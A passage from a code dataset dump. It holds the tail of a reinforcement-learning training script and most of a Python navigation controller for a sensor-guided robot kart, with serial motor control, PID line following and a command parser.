STEPS_BEFORE_TRAIN:\n test_duration = test(M)\n test_durations.append(test_duration)\n print(\"[model-{}][test/{}] test_duration: {}\".format(\n M.time, epoch, test_duration))\n\n # Save model\n save_path = \"./{}/model-epoch-{}.pt\".format(\n M.model_folder, epoch)\n T.save(M.policy.state_dict(), save_path)\n\n # Log training progress\n M.log.write(\"epoch, {}, train_dur, {}, test_dur, {}, avg loss, {}\\n\".format(\n epoch, duration, test_duration, avg_loss\n ))\n M.log.flush()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mattfeng/reinforcement","sub_path":"breakout/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18737177793","text":"from multiprocessing.connection import Client\nimport sc_services as scsvc\nimport time\nimport serial\nimport threading as th\nimport json\nimport msvcrt\nimport numpy as np\n\nLIDAR_PAUSE_DISTANCE=500\n\nrealsenseMins=(5000, 5000, 0)\n\nlidarMins=(1000,1000)\njoyData=[0,0,0,0]\npixyData={'x0':-1,'y0':-1,'x1':-1,'y1':-1,'v':0, 'i':0}\nmotionData={'vmot': 0.0, 'vcomp': 0.0, 'accX': 0.0, 'accY': 0.0, 'accZ': 0.0, 'enc': 0.0, 'mstat': 0, 'spl': 0.0, 'spr': 0.0, 'dl': 0.0, 'dr': 0.0}\n\nMOTION_TURN_RIGHT=0\nMOTION_TURN_LEFT=1\n\nNAVIGATION_MODE_MANUAL=0\nNAVIGATION_MODE_PIXY=1\nNAVIGATION_MODE_REALSENSE=2\nNAVIGATION_MODE_JOYSTICK=3\nNAVIGATION_MODE_CMD=4\n\nnavigationModeNames = (\"MANUAL\", \"PIXY\", \"REALSENSE\", \"JOYSTICK\", \"COMMAND\")\n\nnavigationMode=NAVIGATION_MODE_MANUAL\n\n\nclass ServiceClient:\n def connect(self):\n try:\n address = (self.serveraddress, self.port)\n self.conn = Client(address)\n self.available=True\n except:\n print(\"CANT CONNECT PORT\", self.port, \"ON\", self.serveraddress)\n self.available=False\n\n def dataUpdate(self):\n raise NotImplementedError\n\n def checkDataUpdate(self):\n t=self.lastDataUpdateTime\n if t==-1:\n self.running=False\n return 1\n\n if (time.time() - t) > self.dataUpdateTimeout:\n self.running = False\n return 1\n\n self.running=True\n return 0\n\n def connWorker(self):\n while True:\n if self.available == True:\n try:\n self.dataUpdate()\n except:\n break\n else:\n break\n self.available = False\n\n def sendData(self, data):\n self.conn.send(data)\n\n def __init__(self, serveraddress, port):\n self.connThread=None\n self.conn=None\n self.available=False\n self.serveraddress=serveraddress\n self.port=port\n self.lastDataUpdateTime=-1\n self.dataUpdateTimeout = 1\n self.running=False\n\n self.connect()\n self.connThread=th.Thread(target=self.connWorker)\n self.connThread.setDaemon(True)\n self.connThread.start()\n\nclass RealsenseMinsClient(ServiceClient):\n def dataUpdate(self):\n global realsenseMins\n localRealsenseMins = self.conn.recv()\n realsenseMins = localRealsenseMins\n self.lastDataUpdateTime = time.time()\n\n\nclass LidarMinClient(ServiceClient):\n def dataUpdate(self):\n global lidarMins\n localLidarMins = self.conn.recv()\n lidarMins = localLidarMins\n self.lastDataUpdateTime = time.time()\n\n\nclass JoystickClient(ServiceClient):\n def dataUpdate(self):\n global joyData\n joyData = self.conn.recv()\n self.lastDataUpdateTime = time.time()\n\nclass PixyClient(ServiceClient):\n def dataUpdate(self):\n global pixyData\n pixyData = self.conn.recv()\n self.lastDataUpdateTime = time.time()\n\n\nprint (\"STARTING MAINNAV\")\nprint (\"\")\n\nprint (\"CONNECTING ARDUINO MEGA ON COM4 \", sep='')\narduino_mega = serial.Serial(port='COM4', baudrate=115200)\ntime.sleep(2)\nprint (\"[OK]\")\n\ndef megaReceive():\n import json\n global motionData\n while True:\n data = arduino_mega.readline()\n jsonData={}\n try:\n jsonData = json.loads(data.decode(errors=\"ignore\"))\n motionData.update(jsonData)\n except Exception as e:\n print (\"MEGA RECEIVE: \", data)\n #print (\"ERROR:\" + str(e))\n\n\n #print (motionData)\n #print('Nano says: ', data)\n\ndef megaWrite (speedr, speedl):\n dataStr = \"{spr:\" + str(round(speedr, 3)) + \";spl:\" + str(round(speedl,3)) + \"}\" + \"\\n\"\n arduino_mega.write(dataStr.encode('utf-8'))\n #print ('TO MEGA:', dataStr)\n\ndef megaBeep (time=100, rep=1):\n dataStr=\"{\\\"beep\\\":[\"+str(time)+\",\"+str(rep)+\"]}\\n\"\n arduino_mega.write(dataStr.encode('utf-8'))\n\n\nthMegaReceive = th.Thread(target=megaReceive)\nthMegaReceive.setDaemon(True)\nthMegaReceive.start()\n\nprint(\"\")\nprint (\"STARTING CLIENTS\")\nrsMinsClient=RealsenseMinsClient(scsvc.REALSENSE_MINS_SERVER, scsvc.REALSENSE_MINS)\nprint(\"REALSENSE MINS:\", rsMinsClient.available)\nlidarMinClient=LidarMinClient(scsvc.LIDAR_MINS_SERVER, scsvc.LIDAR_MINS)\nprint(\"LIDAR MINS:\", lidarMinClient.available)\njoystickClient=JoystickClient(scsvc.JOYSTICK_RAW_SERVER, scsvc.JOYSTICK_RAW)\nprint(\"JOYSTICK:\", joystickClient.available)\npixyClient=PixyClient(scsvc.PIXY_RAW_SERVER, scsvc.PIXY_RAW)\nprint(\"PIXY:\", pixyClient.available)\nprint (\"CLIENTS STARTED\")\n\n\n\ndef millis():\n return time.time()*1000\n\n\nclass ManualDrive:\n speedLeft=0.0\n speedRight=0.0\n maxSpeed=0.32\n\n\n def stop(self):\n self.speedLeft=0.0\n self.speedRight=0.0\n\n def fastForward(self):\n self.speedLeft = self.maxSpeed * 2\n self.speedRight = self.maxSpeed * 2\n\n def forward(self):\n self.speedLeft = self.maxSpeed/2\n self.speedRight = self.maxSpeed/2\n\n def backwards(self):\n self.speedLeft = -self.maxSpeed / 2\n self.speedRight = -self.maxSpeed / 2\n\n def turnLeft90(self):\n self.speedLeft = 0.04\n self.speedRight = self.maxSpeed / 2\n\n def turnRight90(self):\n self.speedLeft = self.maxSpeed / 2\n self.speedRight = 0.00\n\n def turnLeft90_inPlace(self):\n self.speedLeft = 0.0\n self.speedRight = self.maxSpeed / 2\n\n def turnRight90_inPlace(self):\n self.speedLeft = 0.0\n self.speedRight = self.maxSpeed / 2\n\n def aTurn(self, dir):\n if dir==MOTION_TURN_LEFT:\n self.speedLeft = self.maxSpeed * 0.95\n self.speedRight = self.maxSpeed * 1.1\n if dir==MOTION_TURN_RIGHT:\n self.speedLeft=self.maxSpeed * 0.95\n self.speedRight=self.maxSpeed * 1.1\n\n def bTurn(self, dir):\n if dir == MOTION_TURN_LEFT:\n self.speedLeft = self.maxSpeed * 0.85\n self.speedRight = self.maxSpeed * 1.00\n if dir == MOTION_TURN_RIGHT:\n self.speedLeft = self.maxSpeed * 1.00\n self.speedRight = self.maxSpeed * 0.85\n\n def cTurn(self, dir):\n if dir==MOTION_TURN_LEFT:\n self.speedLeft = self.maxSpeed * 0.7\n self.speedRight = self.maxSpeed * 1.05\n if dir==MOTION_TURN_RIGHT:\n self.speedLeft=self.maxSpeed * 1.05\n self.speedRight=self.maxSpeed * 0.7\n\n\nclass EncoderData:\n distance=0\n lastDistance=0\n lastArduinoEncDistance=0\n lastEncoderIncreaseTime=0\n speed=0\n speedLastDistance=0\n speedTimer=0\n def calcSpeed(self):\n if millis()-self.speedTimer > 1000:\n self.speed=(self.lastArduinoEncDistance-self.speedLastDistance) / 1\n self.speedLastDistance=self.lastArduinoEncDistance\n self.speedTimer=millis()\n\n\n\n def resetTimer(self):\n self.lastEncoderIncreaseTime = millis()\n def getTimer(self):\n return millis()-self.lastEncoderIncreaseTime\n def resetDistance(self):\n self.distance=0\n self.lastDistance=0\n\n def update(self):\n\n arduinoEncDistance=motionData['enc']\n\n if (arduinoEncDistance > self.lastArduinoEncDistance):\n self.resetTimer()\n self.distance += arduinoEncDistance - self.lastArduinoEncDistance\n self.lastArduinoEncDistance = arduinoEncDistance\n\n if (self.distance - self.lastDistance >= 0.05):\n self.lastDistance=self.distance\n #str(self.distance)\n #newest_method_string = f\"{numvar:.9f}\"\n vser.Serial.println(\"{mts;\" + f\"{self.distance: .2f}\" + \";}\")\n\n\nclass RealsenseDrive:\n error=0\n errorPrev=0\n\n errorBack=0\n integral=0\n pid=0\n pGain = 2.0 # ORIGINAL 2.0\n iGain = 0.01 # ORIGINAL 0.1\n dGain = 1.0 # ORIGINAL 0.4\n realSenseDetectedTimer=0\n speedRight=0.0\n speedLeft=0.0\n MAX_SPEED = 100\n LOW_SPEED = 85\n barDetected=False\n def update(self, rsData):\n err = rsData[0] # VALOR REALSENSE MINS DE LA PARTE FRONTAL\n errBack = rsData[1] # VALOR REALSENSE MINS DE LA PARTE POSTERIOR\n self.errorPrev = self.error\n self.error = err / 10 # err /10 DIVIDE POR 10 para pasar a cm.\n self.errorBack = errBack / 10 #DIVIDE POR 10 para pasar a cm.\n\n #self.barDetected = True\n\n if abs(self.error) > 25 and abs(self.errorBack) < 60:\n self.barDetected = True\n self.realSenseDetectedTimer = millis()\n\n if millis()-self.realSenseDetectedTimer > 250:\n self.barDetected = False\n\n if abs(self.error) <= 25 and abs(self.errorBack) < 60:\n self.barDetected = True\n self.realSenseDetectedTimer = millis()\n\n if abs(self.error) > 60:\n self.barDetected = False\n\n # INTEGRADOR\n self.integral += self.error\n\n if (self.integral > 100):\n self.integral = 100\n if (self.integral < -100):\n self.integral = -100\n\n p = (self.error * self.pGain)\n i = (self.integral * self.iGain)\n d = (self.error - self.errorPrev) * self.dGain\n self.pid = p + i + d\n #print (\"E P I D PID\", err, p, i, d , self.pid)\n # VELOCIDAD DEFAULT\n self.speedLeft = self.MAX_SPEED\n self.speedRight = self.MAX_SPEED\n\n # SI EL ERROR ES MAYOR A 10 VEL=50%\n if (abs(self.error) > 10):\n self.speedLeft = self.LOW_SPEED\n self.speedRight = self.LOW_SPEED\n\n if (self.pid > 0):\n self.speedRight = self.speedRight - abs(self.pid);\n elif (self.pid < 0):\n self.speedLeft = self.speedLeft - abs(self.pid);\n\n if (self.speedLeft < 0):\n self.speedLeft = 0.0\n if (self.speedRight < 0):\n self.speedRight = 0.0\n\n return self.speedRight, self.speedLeft\n\nclass JoyDrive:\n speedLeft=0\n speedRight=0\n maxSpeed=0.32\n\n def update(self, joyData):\n self.speedRight = joyData[1] * 0.32 * -1\n self.speedLeft = joyData[1] * 0.32 * -1\n if abs(self.speedRight) < 0.05:\n self.speedRight = 0\n if abs(self.speedLeft) < 0.05:\n self.speedLeft = 0\n\n direction = joyData[2]\n if abs(direction) < 0.07:\n direction = 0\n if direction < 0:\n self.speedLeft = self.speedLeft * (1.0 - abs(direction))\n if direction > 0:\n self.speedRight = self.speedRight * (1.0 - abs(direction))\n\n return self.speedRight, self.speedLeft\n\nclass PixyDrive:\n lastVectorTime=0\n errorPrev=0\n error=0\n integral=0\n pid=0\n pGain = 2.0 #PID_P_GAIN; 2.5\n iGain = 0.1 #PID_I_GAIN; 0.1\n dGain = 0.4 #PID_D_GAIN; 0.7\n\n MAX_SPEED=100 #0.32\n LOW_SPEED=40 #ORIGINAL 40 #0.16\n\n speedLeft=0\n speedRight=0\n\n noLineTimeout=4000\n noVector=False\n\n maxSpeedTimer=0\n\n def update(self, pixyData):\n pixyWidth=79\n pixyHeight=52\n\n if pixyData['v'] > 0:\n self.speedLeft = 0\n self.speedRight = 0\n\n self.noVector=False\n self.lastVectorTime=millis()\n self.errorPrev=self.error\n\n # POR SI EL VECTOR ESTA INVERTIDO\n vectX = pixyData['x1']\n if pixyData['y1'] > pixyData['y0']:\n vectX = pixyData['x0']\n\n self.error = vectX - (pixyWidth / 2) - 1\n\n # INTEGRADOR\n self.integral += self.error\n\n if (self.integral > 100):\n self.integral = 100\n if (self.integral < -100):\n self.integral = -100\n\n p = (self.error * self.pGain)\n i = (self.integral * self.iGain)\n d = (self.error - self.errorPrev) * self.dGain\n self.pid = p + i + d\n\n #print (self.pid)\n\n # DESDE ACA -------------------\n\n # VELOCIDAD DEFAULT 100 %\n #if (millis() - self.maxSpeedTimer > 500):\n if (millis() - self.maxSpeedTimer > 300):\n self.speedLeft=self.MAX_SPEED\n self.speedRight=self.MAX_SPEED\n else:\n self.speedLeft=self.LOW_SPEED\n self.speedRight=self.LOW_SPEED\n\n\n # SI EL VECTOR ES MUY CHICO NO CAMBIA NADA\n if (abs(pixyData['y1'] - pixyData['y0']) < 30):\n #noAction=true\n self.maxSpeedTimer=millis()\n\n\n # SI EL ERROR ES MAYOR A 20 -> VEL = 50%\n if (abs(self.error) > 20):\n self.speedLeft=self.LOW_SPEED\n self.speedRight=self.LOW_SPEED\n self.maxSpeedTimer=millis()\n\n\n #SI EL VECTOR ES CHICO (MENOR A LA MITAD) VEL=30%\n maxPixyVectorSize = pixyHeight\n if (abs(pixyData['y1'] - pixyData['y0']) < 30 < (maxPixyVectorSize / 2) + 10):\n self.speedLeft=self.LOW_SPEED\n self.speedRight=self.LOW_SPEED\n self.maxSpeedTimer=millis()\n\n\n if (abs(pixyData['x1'] - pixyData['x0']) > 40):\n self.speedLeft=self.LOW_SPEED\n self.speedRight=self.LOW_SPEED\n self.maxSpeedTimer=millis()\n\n if (self.pid > 0):\n self.speedRight = self.speedRight - abs(self.pid);\n elif (self.pid < 0):\n self.speedLeft = self.speedLeft - abs(self.pid);\n\n if (self.speedLeft < 0):\n self.speedLeft = 0\n if (self.speedRight < 0):\n self.speedRight = 0\n else:\n if millis()-self.lastVectorTime > self.noLineTimeout:\n self.noVector = True\n self.speedLeft = 0\n self.speedRight = 0\n\n return self.speedRight, self.speedLeft\n\n\nclass PixyDriveTEST:\n lastVectorTime=0\n errorPrev=0\n error=0\n integral=0\n pid=0\n pGain = 2.0 #PID_P_GAIN; 2.5\n iGain = 0.1 #PID_I_GAIN; 0.1\n dGain = 0.4 #PID_D_GAIN; 0.7\n\n\n MAX_SPEED=100 # LO BAJE DE 120 a 100\n MIN_SPEED=0\n LOW_SPEED=40 #ORIGINAL 40\n\n speedLeft=0\n speedRight=0\n\n noLineTimeout=2000\n noVector=False\n\n maxSpeedTimer=0\n\n def update(self, pixyData):\n pixyWidth=79\n pixyHeight=52\n\n if pixyData['v'] > 0:\n self.speedLeft = 0\n self.speedRight = 0\n\n self.noVector=False\n self.lastVectorTime=millis()\n self.errorPrev=self.error\n\n # POR SI EL VECTOR ESTA INVERTIDO\n vectX = pixyData['x1']\n if pixyData['y1'] > pixyData['y0']:\n vectX = pixyData['x0']\n\n self.error = vectX - (pixyWidth / 2) - 1\n\n # INTEGRADOR\n self.integral += self.error\n\n if (self.integral > 100):\n self.integral = 100\n if (self.integral < -100):\n self.integral = -100\n\n p = (self.error * self.pGain)\n i = (self.integral * self.iGain)\n d = (self.error - self.errorPrev) * self.dGain\n self.pid = p + i + d\n\n #print (self.pid)\n\n # DESDE ACA -------------------\n\n # VELOCIDAD DEFAULT 100 %\n #if (millis() - self.maxSpeedTimer > 500):\n #print (\"PID:\", self.pid)\n self.speedRight = 100 - self.pid\n self.speedLeft = 100 + self.pid\n\n #if (self.pid > 0):\n # self.speedRight = self.speedRight - abs(self.pid);\n # self.speedLeft\n #elif (self.pid < 0):\n # self.speedLeft = self.speedLeft - abs(self.pid);\n\n if (self.speedLeft > self.MAX_SPEED):\n self.speedLeft=self.MAX_SPEED\n if (self.speedRight > self.MAX_SPEED):\n self.speedRight=self.MAX_SPEED\n if (self.speedLeft < 0):\n self.speedLeft = 0\n if (self.speedRight < 0):\n self.speedRight = 0\n else:\n if millis()-self.lastVectorTime > self.noLineTimeout:\n self.noVector = True\n self.speedLeft = 0\n self.speedRight = 0\n #print (\"R-L\",self.speedRight, self.speedLeft)\n return self.speedRight, self.speedLeft\n\n\nclass ArduSerial(serial.Serial):\n comport=None\n ser=None\n\n def __init__(self, comport):\n self.comport=comport\n\n def begin(self, baudrate):\n serial.Serial.__init__ (self, port=self.comport, baudrate=baudrate, rtscts=False, dsrdtr=False)\n\n def print (self, str):\n self.write(str.encode('utf-8'))\n\n def println(self, str):\n str+='\\r\\n'\n self.write(str.encode('utf-8'))\n #print (\"TO VIRT SERIAL:\", str, end=\"\")\n\n def available(self):\n return self.in_waiting\n\nclass MainNavStatus:\n statusData={}\n servicesStatus={}\n def __init__(self):\n pass\n def updateData(self):\n self.servicesStatus.update({\"lidarMins\": lidarMinClient.running})\n self.servicesStatus.update({\"realsenseMins\": rsMinsClient.running})\n self.servicesStatus.update({\"pixy\": pixyClient.running})\n self.servicesStatus.update({\"joystick\": joystickClient.running})\n\n self.statusData.update({\"emergencyStop\": motion.emergencyStop})\n self.statusData.update({\"services\": self.servicesStatus})\n self.statusData.update({\"lidarEnabled\": lidarEnabled})\n self.statusData.update({\"lidarPause\": lidarPause})\n self.statusData.update({\"navigationMode\": navigationModeNames[navigationMode]})\n self.statusData.update({\"setSpeed\": motion.spMax})\n self.statusData.update({\"encoderSpeed\": encData.speed})\n self.statusData.update({\"motionData\": motionData})\n # agregar.. RealSense Actual Distance\n self.statusData.update({\"senseActualDistance\": realsenseMins[0]})\n # agregar.. RealSense Nominal Distance\n self.statusData.update({\"senseNominalDistance\": realsenseMins[2]})\n def getData(self):\n jsonData=json.dumps(self.statusData, indent=None)\n return jsonData\n\n\nclass VirtualSerialHandler:\n Serial=None\n readingLine=False\n linebuffer=bytearray()\n\n def printHelp(self):\n self.Serial.print(\"SmartMainNav v.\")\n self.Serial.println(\"0.1\")\n self.Serial.println(\"w,s,a d | FORWARD,BACKWARDS, LEFT,RIGHT\")\n self.Serial.println(\"z,c | TURN IN PLACE LEFT / RIGHT\")\n self.Serial.println(\"f | FAST FORWARD\")\n self.Serial.println(\"0 | STOP\")\n self.Serial.println(\"q | STOP AUTO DRIVE\")\n self.Serial.println(\"g | EMERGENCY STOP RESET\")\n self.Serial.println(\"p | FOLLOW LINE\")\n self.Serial.println(\"r | REALSENSE\")\n\n self.Serial.println(\"h | MAIN NAV STATUS\")\n self.Serial.println(\"t | Z AXIS INFO\")\n self.Serial.println(\"u | Z AXIS INFO\") # este estaria duplicado?? o es distinta la info?\n self.Serial.println(\"i,o | PRINT STATUS INFO, PRINT SPEED \")\n\n self.Serial.println(\"m,n | INCREASE,DECREASE Default Speed\")\n self.Serial.println(\"L,R,D | NEXT INTERSECT: LEFT,RIGHT\")\n self.Serial.println(\"1,2,3 | RESET: DefaultSpeed, Center Drive, Encoder\")\n self.Serial.println(\"4,5,6 | US SENSOR TOGGLE, NO ENCODER TOGGLE, TILT TOGGLE\")\n\n self.Serial.println(\"e | RETURNS ENCODER POSITION SINCE RESET\")\n self.Serial.println(\"E | RETURNS MOTORS POSITION SINCE RESET\")\n self.Serial.println(\"v,b | VERBOSE MODE,VERBOSE DRIVE MODE \")\n self.Serial.println(\"x | READ BATTERIES VOLTAG (24v & 36v)\")\n\n self.Serial.println(\"7,8,9 |aTurn, bturn,cTurn right\")\n self.Serial.println(\"/,*,- |aTurn, bturn,cTurn left\")\n self.Serial.println(\"? | Help\")\n\n def start(self):\n self.Serial=ArduSerial('COM11')\n self.Serial.begin(115200)\n self.Serial.println(\"separete_drive_5\")\n self.printHelp()\n\n def update(self):\n global navigationMode\n\n if not self.readingLine:\n if self.Serial.available():\n inCh=self.Serial.read()\n ch=inCh.decode(errors=\"ignore\")\n\n if ch=='?':\n self.printHelp()\n elif ch=='v': #verbose\n self.Serial.print('v')\n elif ch=='b': #verbose drive\n self.Serial.print('b')\n elif ch=='f': #move forward fast\n self.Serial.println(\"moving FastForward\")\n print(\"F - MOVING FAST FORWARD\")\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.fastForward()\n elif ch=='w': #move forward\n self.Serial.println(\"moving Forward\")\n print(\"W - MOVING FORWARD\")\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.forward()\n elif ch=='s': # move backwards\n self.Serial.println(\"moving Backwards\")\n print('S - MOVING BACKWARDS')\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.backwards()\n elif ch=='a': # turnleft90\n self.Serial.println(\"Turning Left\")\n print('A - Turning Left')\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.turnLeft90()\n elif ch=='d': # turnoright90\n\n self.Serial.println(\"Turning Right\")\n print('D - Turning Right')\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.turnRight90()\n elif ch=='z': # turnleft90_inplace\n self.Serial.print(\"z\")\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.turnLeft90_inPlace()\n elif ch=='c': # turnright90_inplace\n self.Serial.print(\"z\")\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.turnRight90_inPlace()\n elif ch=='t' or ch=='u': # Z AxisInfo\n self.Serial.println(str(motionData['accZ']))\n elif ch=='0' or ch=='q': # STOP\n self.Serial.println(\"STOP\")\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.stop()\n elif ch=='g': # emergency reset\n self.Serial.println(\"EMERGENCY RESET\")\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.stop()\n motion.emergencyStop=False\n elif ch=='h': # MAIN NAV STATUS\n self.Serial.println(mainNavStatus.getData())\n elif ch=='p': # pixy drive\n self.Serial.println(\"Pixy Drive Activated...\")\n navigationMode = NAVIGATION_MODE_PIXY\n elif ch == 'r': # realsense drive\n self.Serial.println(\"Realsense Drive Activated...\")\n navigationMode = NAVIGATION_MODE_REALSENSE\n elif ch == 'j': # joystick drive\n self.Serial.println(\"Joystick Drive Activated...\")\n navigationMode = NAVIGATION_MODE_JOYSTICK\n elif ch == '4': # lidar toggle\n global lidarEnabled\n lidarEnabled=not(lidarEnabled)\n print (\"Lidar Enabled: \" + str(lidarEnabled))\n self.Serial.println(\"Lidar Enabled: \" + str(lidarEnabled))\n\n elif ch=='K': # KART TEST\n self.Serial.println(\"KART CONNECTION SUCCESS\")\n elif ch=='e': # encoder getMts\n self.Serial.println(str(motionData['enc']))\n self.Serial.println(str(encData.distance))\n\n elif ch=='x':\n self.Serial.println(\"{vmot;\"+str(motionData['vmot'])+\";}\")\n self.Serial.println(\"{vcomp;\" + str(motionData['vcomp']) + \";}\")\n\n elif ch=='3':\n self.Serial.println(\"ENCODER RESET\");\n encData.resetDistance()\n elif ch == '{':\n self.linebuffer = bytearray()\n self.linebuffer.append(inCh[0])\n self.readingLine = True\n\n\n else:\n if self.Serial.available():\n inCh = self.Serial.read()\n ch = inCh.decode(errors=\"ignore\")\n\n self.linebuffer.append(inCh[0])\n if ch == '}':\n self.readingLine = False\n print(\"CMD:\", self.linebuffer.decode(errors=\"ignore\"))\n self.parseLine(self.linebuffer.decode(errors=\"ignore\"))\n elif ch == '\\n' or ch == '\\r':\n self.readingLine = False\n\n def parseLine(self, cmdString):\n global navigationMode\n try:\n cmd = json.loads(cmdString)\n print(\"cmdString: \",cmdString,type(cmd)) # {\"rsdist\": 850}\n except Exception as e:\n print (\"PARSELINE - ERROR PARSING - SERIAL INPUT:\", cmdString)\n print (e)\n return\n\n\n\n if \"sp\" in cmd:\n motion.setNavSpeed(cmd['sp'])\n\n print(\"SPEED - SP:\",cmd['sp'])\n self.Serial.println(\"SPEED - SP:\"+str(cmd['sp']))\n elif \"rsdist\" in cmd:\n try:\n print (\"RSDIST: \", cmd['rsdist'])\n rsMinsClient.sendData(cmd['rsdist'])\n self.Serial.println(\"RSDIST: \"+str(cmd['rsdist']))\n\n except:\n print (\"ERROR SENDING RSDIST\", cmd['rsdist'])\n self.Serial.println(\"ERROR SENDING RDIST :\"+str(cmd['rsdist']))\n\n elif \"gofw\" in cmd:\n cmddrive.addQueueGoForward(cmd['gofw'])\n navigationMode = NAVIGATION_MODE_CMD\n print(\"gofw: \"+str(cmd['gofw']))\n self.Serial.println(\"gofw: \" + str(cmd['gofw']))\n\n elif \"turn\" in cmd:\n cmddrive.addQueueTurn(cmd['turn'])\n navigationMode = NAVIGATION_MODE_CMD\n print(\"turn: \" + str(cmd['turn']))\n self.Serial.println(\"turn: \" + str(cmd['turn']))\n else:\n self.Serial.println('COMMAND NOT IDENTIFIED:'+cmdString)\n print('COMMAND NOT IDENTIFIED: '+cmdString)\n\n\n def sendMsg(self, type, details):\n msgStr=\"{\" + str(type) + \";\" + str(details) +\";}\"\n self.Serial.println (msgStr)\n\n # --- END CLASS --------------------------------\n\nclass CmdDrive:\n STATUS_DONE=0\n STATUS_RUNNING_FWD=1\n STATUS_RUNNING_TURN= 2\n STATUS_RUNNING_WAIT = 3\n status=0\n\n startDistance=0\n setDistance=0\n\n startAngle=0\n setAngle=0\n dstAngle=0\n\n speedLeft=0\n speedRight=0\n\n maxSpeed=0.20\n minSpeed=0.10\n\n cmdQueue=[]\n\n previousNavMode=NAVIGATION_MODE_MANUAL\n\n def update(self):\n encDistance=motionData['enc']\n accAngle=motionData['accZ']\n\n self.speedLeft = 0\n self.speedRight = 0\n # AVANCE\n if self.status==self.STATUS_RUNNING_FWD:\n travelled=encDistance-self.startDistance\n error=(self.setDistance-travelled) / self.setDistance\n #print (error)\n if travelled < self.setDistance:\n if self.setDistance-travelled > 0.2:\n self.speedLeft = self.maxSpeed\n self.speedRight = self.maxSpeed\n else:\n self.speedLeft = self.maxSpeed * error\n self.speedRight = self.maxSpeed * error\n if self.speedLeft < self.minSpeed:\n self.speedLeft = self.minSpeed\n if self.speedRight < self.minSpeed:\n self.speedRight = self.minSpeed\n\n else:\n self.cmdFinished()\n # GIRO\n if self.status == self.STATUS_RUNNING_TURN:\n # SI ESTOY DOBLANDO A LA DERECHA\n if self.setAngle > 0:\n if self.startAngle > self.dstAngle:\n if accAngle >=0:\n accAngle=accAngle-360\n\n if accAngle < self.dstAngle:\n self.speedLeft = self.maxSpeed\n if abs(abs(accAngle) - abs(self.dstAngle)) < 8:\n self.speedLeft = self.minSpeed\n else:\n self.cmdFinished()\n\n # SI ESTOY DOBLANDO A LA IZQUIERDA\n else:\n if self.startAngle < self.dstAngle:\n if accAngle <= 0:\n accAngle = accAngle + 360\n\n if accAngle > self.dstAngle:\n self.speedRight = self.maxSpeed\n if abs(abs(accAngle) - abs(self.dstAngle)) < 8:\n self.speedRight = self.minSpeed\n else:\n self.cmdFinished()\n\n return self.speedRight, self.speedLeft\n\n def cmdFinished(self):\n global navigationMode\n self.status=self.STATUS_DONE\n if len(self.cmdQueue) == 0:\n print (\"CMD NAV FINISHED\")\n print (self.previousNavMode)\n navigationMode = self.previousNavMode\n vser.sendMsg(\"ex\", \"cmddone\")\n\n\n\n def emptyQueue(self):\n self.cmdQueue.clear()\n self.status = self.STATUS_DONE\n\n def processQueue(self):\n #print(self.cmdQueue)\n if self.status == self.STATUS_DONE and len(self.cmdQueue) > 0:\n cmd=self.cmdQueue[0]\n if cmd[0] == self.STATUS_RUNNING_FWD:\n self.goForward(cmd[1])\n elif cmd[0] == self.STATUS_RUNNING_TURN:\n self.turn(cmd[1])\n self.cmdQueue.pop(0)\n\n\n\n def addQueueGoForward (self, distance):\n if navigationMode!=NAVIGATION_MODE_CMD:\n self.previousNavMode=navigationMode\n self.cmdQueue.append([self.STATUS_RUNNING_FWD, distance])\n\n def addQueueTurn(self, angle):\n if navigationMode!=NAVIGATION_MODE_CMD:\n self.previousNavMode=navigationMode\n self.cmdQueue.append([self.STATUS_RUNNING_TURN, angle])\n\n def goForward(self, distance):\n if distance <= 0:\n self.status=self.STATUS_DONE\n return\n else:\n self.status=self.STATUS_RUNNING_FWD\n self.startDistance=motionData['enc']\n self.setDistance=distance\n\n def turn(self, angle):\n if angle > 180 or angle == 0 or angle < -180:\n self.status = self.STATUS_DONE\n return\n else:\n self.status=self.STATUS_RUNNING_TURN\n self.startAngle=motionData['accZ']\n self.setAngle=angle\n self.dstAngle=self.startAngle+angle\n if self.dstAngle > 180:\n self.dstAngle = self.dstAngle - 360\n elif self.dstAngle < -180:\n self.dstAngle = self.dstAngle + 360\n\n\nclass Motion:\n ABSOLUTE_MAX_SPEED=1.0\n spMax=0.32\n spRight=0.0\n spLeft=0.0\n emergencyStop=False\n\n def setNavSpeed(self, navSpeed):\n if navSpeed > self.ABSOLUTE_MAX_SPEED:\n navSpeed=self.ABSOLUTE_MAX_SPEED\n self.spMax=navSpeed\n\n def setWheelsSpeedAbsolute(self, spRight, spLeft):\n self.spRight=spRight\n self.spLeft=spLeft\n\n def setWheelSpeedPercentage(self, spRight, spLeft):\n self.spRight=(self.spMax * spRight) / 100\n self.spLeft=(self.spMax * spLeft) / 100\n\n def reduceWheelsSpeed (self, ratio):\n if ratio > 0:\n self.spRight=self.spRight/ratio\n self.spLeft=self.spLeft/ratio\n\n def getWheelsSpeed(self):\n return self.spRight, self.spLeft\n\n def updateMotors(self):\n if self.emergencyStop==True:\n self.spRight=0\n self.spLeft=0\n megaWrite(self.spRight, self.spLeft)\n\nprint (\"SETTING DRIVE MODES \")\npixydrive = PixyDriveTEST()\nmanualdrive = ManualDrive()\nrealsenseDrive = RealsenseDrive()\ncmddrive = CmdDrive()\njoydrive = JoyDrive()\n\nprint (\"STARTING VIRTUAL SERIAL\")\nvser=VirtualSerialHandler()\nvser.start()\n\nprint (\"ENCODER\")\nencData=EncoderData()\nmotion = Motion()\n\nprint (\"MAINNAVSTATUS\")\nmainNavStatus=MainNavStatus()\n\n\n\n\n\nlidarPause=False\nlidarPauseTime=0\n\nlidarEnabled=True\n\n\nprint (\"Waiting 5 seconds\")\ntime.sleep(5)\nprint (\"READY to Drive!\")\n\nstartTime=time.time();\n\nwhile True:\n mainNavStatus.updateData()\n joystickClient.checkDataUpdate()\n rsMinsClient.checkDataUpdate()\n lidarMinClient.checkDataUpdate()\n pixyClient.checkDataUpdate()\n\n #print (\"ACCZ:\", str(motionData['accZ']), 